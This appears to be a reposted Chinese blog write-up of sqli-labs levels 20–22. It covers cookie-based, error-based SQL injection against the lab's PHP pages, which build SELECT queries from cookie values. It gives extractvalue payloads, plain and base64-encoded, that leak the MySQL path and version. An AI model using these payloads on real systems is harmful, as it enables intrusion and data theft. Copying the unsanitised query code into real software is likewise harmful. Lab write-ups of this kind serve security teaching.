我是靠谱客的博主 帅气心锁,最近开发中收集的这篇文章主要介绍Sqllibs-Less20-22-cookie注入20.Less20-Cookie Injection-Error Based21、Cookie Injection-Error Based22.Less22-Cookie Injection-Error Based-Double Quotes,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

文章目录

  • 20.Less20-Cookie Injection-Error Based
    • 20.1、注入分析
    • 20.2、代码分析
  • 21、Cookie Injection-Error Based
    • 21.1、注入分析
    • 21.2、代码分析
  • 22.Less22-Cookie Injection-Error Based-Double Quotes
    • 22.1、注入分析
    • 22.2、代码分析

20.Less20-Cookie Injection-Error Based

20.1、注入分析

有源码我们可知,当我们第一次输入username和password时,cookie从username中获得值;当我们再次刷新时,会从cookie中读取username,然后进行查询。
登录成功后,我们修改cookie,再次刷新时,这时候的sql语句就会被修改了。

报错显示数据库路径:
如下图,我们在tamper data(firefox插件)中,将cookie改为报错注入语句,然后不断地点击“OK”按钮,最后页面报错,显示了mysql数据库路径。
在这里插入图片描述

如下图,我们可以看见报错显示出来了mysql的路径。其他的数据请读者按照这个依次进行注入推导出来啦!
在这里插入图片描述

20.2、代码分析

	//如果cookie为空
			$cookee = $_COOKIE['uname'];
			$format = 'D d M Y - H:i:s';
			$timestamp = time() + 3600;
			echo "<center>";
			echo '<br><br><br>';
			echo '<img src="../images/Less-20.jpg" />';
			echo "<br><br><b>";
			echo '<br><font color= "red" font size="4">';	
			echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
			echo "</font><br>";	
			echo '<font color= "cyan" font size="4">';	
			echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];			
			echo "</font><br>";			
			echo '<font color= "#FFFF00" font size = 4 >';
			echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
			echo '<font color= "orange" font size = 5 >';			
			echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
			
			
			$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
			$result=mysql_query($sql);
			if (!$result)
  				{
  				die('Issue with your mysql: ' . mysql_error());
  				}
			$row = mysql_fetch_array($result);
			if($row)
				{
			  	echo '<font color= "pink" font size="5">';	
			  	echo 'Your Login name:'. $row['username'];
			  	echo "<br>";
				echo '<font color= "grey" font size="5">';  	
				echo 'Your Password:' .$row['password'];
			  	echo "</font></b>";
				echo "<br>";
				echo 'Your ID:' .$row['id'];
			  	}

21、Cookie Injection-Error Based

21.1、注入分析

这一关和上一关类似的,需要进行两次刷新,以下是刷新I前与刷新后的页面显示:
在这里插入图片描述
我们可以发现这里的从cookie进行了加密,尝试了编码之后我们可以发现。他只是进行一层base64加密。

类似于less20,这里的闭合方式为“单引号+括号”,剩下的只需要将注入语句进行base64加密即可。
在这里插入图片描述

在此给出一个payload,剩下的请读者自行脑补啦!

报错产生Mysql数据库的路径:

admin') and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ('1')=('1

//进行base64加密后
YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSBhbmQgKCcxJyk9KCcx

在这里插入图片描述
在这里插入图片描述

21.2、代码分析

			echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
			
			$cookee = base64_decode($cookee);
			echo "<br></font>";
			$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
			$result=mysql_query($sql);
			if (!$result)
  				{
  				die('Issue with your mysql: ' . mysql_error());
  				}
			$row = mysql_fetch_array($result);
			if($row)
				{
			  	echo '<font color= "pink" font size="5">';	
			  	echo 'Your Login name:'. $row['username'];
			  	echo "<br>";
				echo '<font color= "grey" font size="5">';  	
				echo 'Your Password:' .$row['password'];
			  	echo "</font></b>";
				echo "<br>";
				echo 'Your ID:' .$row['id'];
			  	}

22.Less22-Cookie Injection-Error Based-Double Quotes

22.1、注入分析

这一关与上一关是一样的,我们可以从源码得知,这里对cookie的闭合发生为双引号闭合。
在这里插入图片描述
类似于less20和less21,可以构造payload:

amdin" and extractvalue(1,concat(0x7e,(select version()),0x7e)) and "1"="1

//base64编码后为
YW1kaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHZlcnNpb24oKSksMHg3ZSkpIGFuZCAiMSI9IjE=

运行结果如下:
在这里插入图片描述

22.2、代码分析

			$cookee = base64_decode($cookee);
			$cookee1 = '"'. $cookee. '"';
			echo "<br></font>";
			$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
			$result=mysql_query($sql);
			if (!$result)
  				{
  				die('Issue with your mysql: ' . mysql_error());
  				}
			$row = mysql_fetch_array($result);
			if($row)
				{
			  	echo '<font color= "pink" font size="5">';	
			  	echo 'Your Login name:'. $row['username'];
			  	echo "<br>";
				echo '<font color= "grey" font size="5">';  	
				echo 'Your Password:' .$row['password'];
			  	echo "</font></b>";
				echo "<br>";
				echo 'Your ID:' .$row['id'];
			  	}
			else	
				{
				echo "<center>";
				echo '<br><br><br>';
				echo '<img src="../images/slap1.jpg" />';
				echo "<br><br><b>";
				//echo '<img src="../images/Less-20.jpg" />';
				}
			echo '<center>';
			echo '<form action="" method="post">';
			echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';
			echo '</form>';
			echo '</center>';
		}

最后

以上就是帅气心锁为你收集整理的Sqllibs-Less20-22-cookie注入20.Less20-Cookie Injection-Error Based21、Cookie Injection-Error Based22.Less22-Cookie Injection-Error Based-Double Quotes的全部内容,希望文章能够帮你解决Sqllibs-Less20-22-cookie注入20.Less20-Cookie Injection-Error Based21、Cookie Injection-Error Based22.Less22-Cookie Injection-Error Based-Double Quotes所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(45)

评论列表共有 0 条评论

立即
投稿
返回
顶部